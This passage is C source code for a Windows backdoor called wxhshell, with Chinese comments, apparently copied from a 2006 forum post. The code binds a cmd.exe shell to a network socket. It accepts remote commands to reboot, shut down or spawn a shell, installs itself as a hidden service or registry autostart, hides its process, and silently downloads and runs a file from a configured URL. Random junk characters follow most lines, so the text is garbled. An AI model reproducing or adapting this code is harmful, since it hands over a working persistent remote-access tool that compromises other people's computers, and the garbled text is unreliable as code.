    switch(cmd[0]) { rP\ 7C+  
  q2<J`G(tZ  
  // 帮助 1[Mr2@  
  case '?': { Nm081ic2<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gaCGU<L  
    break; 25 ~$qY_  
  } u('OHPqq  
  // 安装 `Ys })Pl  
  case 'i': { Jb$z(?S  
    if(Install()) P`%ppkzV6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *HXq`B  
    else =91'.c<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vaxg^n|v9  
    break; G[^G~U\+!  
    } V[bc-m  
  // 卸载 0,A?*CO  
  case 'r': { O#U"c5%  
    if(Uninstall()) ) k2NF="o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZnWzqFw  
    else `k\1vum  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mcXakWmi  
    break; 'OihA^e  
    } V_1#7  
  // 显示 wxhshell 所在路径 RtW5U8  
  case 'p': { f:Ja  
    char svExeFile[MAX_PATH]; 'q^Gg;c>+  
    strcpy(svExeFile,"\n\r"); D8#q.OR]  
      strcat(svExeFile,ExeFile); &Egn`QU  
        send(wsh,svExeFile,strlen(svExeFile),0); %7@H7^s}9  
    break; j bGH3 L  
    } RQ'c~D)X  
  // 重启 z0UO<Y?9  
  case 'b': { vp|=q;Q%r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c]n03o  
    if(Boot(REBOOT)) W|Tew-H{h_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~f+F0#%?  
    else { 2Ee1mbZVw8  
    closesocket(wsh); @/u`7FO$&  
    ExitThread(0); &e)p6Egl  
    } 9}mp,egV  
    break; ,Ex\\p-  
    } 2~U+PyeNz  
  // 关机 bOdv]nQ1  
  case 'd': { %Uk/P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lG+ltCc$9  
    if(Boot(SHUTDOWN)) qR<DQTO<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $"(YE #]|  
    else { 3.H-G~  
    closesocket(wsh); ;E"mB4/)  
    ExitThread(0); M0e|G.S&_  
    } :Ir:OD# o  
    break; .:raeDrd  
    } T ?? aVe]c  
  // 获取shell *;d)'7<  
  case 's': { S3w?Zk3hO  
    CmdShell(wsh); C4uR5U  
    closesocket(wsh); U:|v(U$"?  
    ExitThread(0); zLqp@\sT  
    break; #dt2'V- ,  
  } b?NeSiswn  
  // 退出 -}sya1(<8  
  case 'x': { 11T\2&Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A(p  
    CloseIt(wsh); .Topg.7W  
    break; \@3  
    } &NQR*Tn  
  // 离开 eM"mP&TTL  
  case 'q': { ]."c4S_)|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W>bW1h  
    closesocket(wsh); kw~H%-,]  
    WSACleanup(); $Ig,cTR.b  
    exit(1); k f!/9  
    break; ?KXQ)Y/su  
        } x=#5\t9  
  } wg.fo:Q  
  } {wXN kq  
$:N "*  
  // 提示信息 |Z^g\l.j{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` W>B8  
} E|;5Z*  
  } CEq]B:[IC  
F s\P/YX  
  return; #jx?uS  
} * _l o;  
* SMPHWH[c  
// shell模块句柄 1@S6[&_  
int CmdShell(SOCKET sock) jGhg~-m  
{ gVJ#LJ  
STARTUPINFO si; `UK+[`E  
ZeroMemory(&si,sizeof(si)); BQ:Kx_   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L)'rM-nkFh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PEt8,,x<"  
PROCESS_INFORMATION ProcessInfo; WN/#9]` P  
char cmdline[]="cmd"; I=y j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %u0;.3Gw  
  return 0; 5yiiPK$qr  
} f1$mh1J W  
}C"*ACjF   
// 自身启动模式 gA1in  
int StartFromService(void) ydqmuZ%2h#  
{ ]q7 LoH'S  
typedef struct +%\j$Pv  
{ 7U`S9DDwq  
  DWORD ExitStatus; # pB:LPEsK  
  DWORD PebBaseAddress; = DTOI  
  DWORD AffinityMask; e=UVsYNx  
  DWORD BasePriority; cloSJmUlQ  
  ULONG UniqueProcessId; MH;%Y"EI  
  ULONG InheritedFromUniqueProcessId; dG?a"/MA  
}   PROCESS_BASIC_INFORMATION; ;6txTcn`=  
^ [[ b$h$  
PROCNTQSIP NtQueryInformationProcess; *>p(]_s,  
},aWCvJL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~o'#AP#N~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Pp|d"6]y  
M6*{#Y?  
  HANDLE             hProcess; tZCe?n]  
  PROCESS_BASIC_INFORMATION pbi; *F*jA$aY  
sVdK^|j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ('6g)@=\U  
  if(NULL == hInst ) return 0; &qP-x98E?  
q;zf|'&*7C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tq:tY}:4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %=4ak]As  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uBq3.+,x*  
q+n1~AT  
  if (!NtQueryInformationProcess) return 0; UdW(\%  
y*b.eO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c_bVF 'Bz  
  if(!hProcess) return 0; q[OTaSQ~u^  
.7gE^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iq uTT~  
Rw\C0'  
  CloseHandle(hProcess); _+ 04M)q0  
?wf+{x-dPP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _6UAeZ*M  
if(hProcess==NULL) return 0; <I%9O:R  
;;'a--'"  
HMODULE hMod; Ji:iKkI  
char procName[255]; 4<Sa,~4  
unsigned long cbNeeded; _RL-6jw#o  
_=*tDa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /Ej]X`F  
MhI)7jj`mt  
  CloseHandle(hProcess); -?B9>6 h "  
JD{MdhhV  
if(strstr(procName,"services")) return 1; // 以服务启动 ?6iatI !  
n?LIphc\  
  return 0; // 注册表启动 0 {JK4]C  
} Kxl,] |e>  
gGX0+L@E  
// 主模块 P b8Z))9j  
int StartWxhshell(LPSTR lpCmdLine) 1!(%<R  
{ uo4$rf7  
  SOCKET wsl; b LM"t0  
BOOL val=TRUE; Lcs{OW,  
  int port=0; u[i7:V%  
  struct sockaddr_in door; 7ITl3>  
1.0!H.>q  
  if(wscfg.ws_autoins) Install(); CC>fm 1#i\  
>U~|R=*  
port=atoi(lpCmdLine); Dq zA U7  
sVZZp  
if(port<=0) port=wscfg.ws_port; ljJz#+H2_  
/"Yx@n  
  WSADATA data; TA0D{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lg onR  
GX@W"y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W8,tl>(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8_IOJ]:w  
  door.sin_family = AF_INET; _+*/~E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ybt_?Q9#]  
  door.sin_port = htons(port); ?ng14e  
9vp%6[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PyMVTP4  
closesocket(wsl); `B'4"=(  
return 1; -H4+ur JJ  
} =\Vu=I  
O*rmD<L$  
  if(listen(wsl,2) == INVALID_SOCKET) { v<%kd[N  
closesocket(wsl); ^'7C0ps+A  
return 1; \+{t4Im  
} r9] rN  
  Wxhshell(wsl); v : "m  
  WSACleanup(); fi&uB9hc  
c3V]'~  
return 0; 2>$F0 M  
]<q}WjXD'  
} G*(K UG>  
*t.q m5h  
// 以NT服务方式启动  L%WME8PB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) afY_9g!\  
{ 8Z dUPW\e  
DWORD   status = 0; NT@YLhs?  
  DWORD   specificError = 0xfffffff; If-,c^i  
f]ue#O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _V& !4Zd9:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ns2,hQFc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m4"N+_j  
  serviceStatus.dwWin32ExitCode     = 0; 3ximNQ} S  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Q96,T-) c  
  serviceStatus.dwCheckPoint       = 0; TX23D)CX  
  serviceStatus.dwWaitHint       = 0; ={`CH CI  
BIV<ti$.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y$`eg|$  
  if (hServiceStatusHandle==0) return; qX5yN| A4  
;}/U+`=D?  
status = GetLastError(); tyEPU^PM  
  if (status!=NO_ERROR) I /On3"U%  
{ SE^j=1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j,C,5l=  
    serviceStatus.dwCheckPoint       = 0; j0iAU1~_VX  
    serviceStatus.dwWaitHint       = 0; |DE%SVZB  
    serviceStatus.dwWin32ExitCode     = status; !/j,hO4Z4  
    serviceStatus.dwServiceSpecificExitCode = specificError; w; 4jx(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iiX\it$s  
    return; %kh#{*q$  
  } Q(510)  
iuC7Y|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1~2R^#rm  
  serviceStatus.dwCheckPoint       = 0; jg [H}  
  serviceStatus.dwWaitHint       = 0; sdJ%S*)5G$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (#!] fF"!x  
} |5xYT 'V  
e Om< !H  
// 处理NT服务事件,比如:启动、停止 <nWKR,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) , 3X: )  
{ TN35CaSmq  
switch(fdwControl) F{k$Atb?g/  
{ BXg!zW%+  
case SERVICE_CONTROL_STOP: p$Kj<:qiP  
  serviceStatus.dwWin32ExitCode = 0; ba uA}3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VL+N: wb>  
  serviceStatus.dwCheckPoint   = 0; ;gDMl57PQ.  
  serviceStatus.dwWaitHint     = 0; /O|:{LQ  
  { )Hbb&F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {O^TurbTFA  
  } l{Jt sI  
  return; Al7<s  
case SERVICE_CONTROL_PAUSE: B.$PhmCG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5@P%iBA4(3  
  break; "h=6Q+Ze  
case SERVICE_CONTROL_CONTINUE: d^F|lc ]8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J["H[T*  
  break; 0"EoC  
case SERVICE_CONTROL_INTERROGATE: "S5S|dBc  
  break; XTJvV  
}; vSOT*0r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 01udlW.  
} bfgz1 `u  
ao#!7F  
// 标准应用程序主函数 OAv>g pw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `SV"ElRV  
{ c juZB Fl  
/X4yB"J>  
// 获取操作系统版本 zfhTc=(/  
OsIsNt=GetOsVer(); o`bo#A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B?LXI3sQZ  
25:Z;J>  
  // 从命令行安装 0$6*o}N%  
  if(strpbrk(lpCmdLine,"iI")) Install(); *5'.!g('  
.~3kGf":  
  // 下载执行文件 CRFCqmevR  
if(wscfg.ws_downexe) { '\`6ot8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EYL]TeS  
  WinExec(wscfg.ws_filenam,SW_HIDE); \PpXL*.  
} 7K&}C;+  
?d$"[lKX  
if(!OsIsNt) { E\0X`QeY  
// 如果时win9x,隐藏进程并且设置为注册表启动 z3a-+NjDm  
HideProc(); 8L%M<JRg~  
StartWxhshell(lpCmdLine); -hWC_X:9jP  
} Y\xUT>(J7  
else @mf({Q>  
  if(StartFromService()) g\U/&.}DN  
  // 以服务方式启动 wtXY: O  
  StartServiceCtrlDispatcher(DispatchTable); %Rp8{.t7  
else AoYaVlKG8  
  // 普通方式启动 IdPn%)>6  
  StartWxhshell(lpCmdLine); bd!U)b(}OV  
|; $Bb866/  
return 0; fN-Gk(Ic  
}
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只看该作者 1 发表于: 2006-10-10
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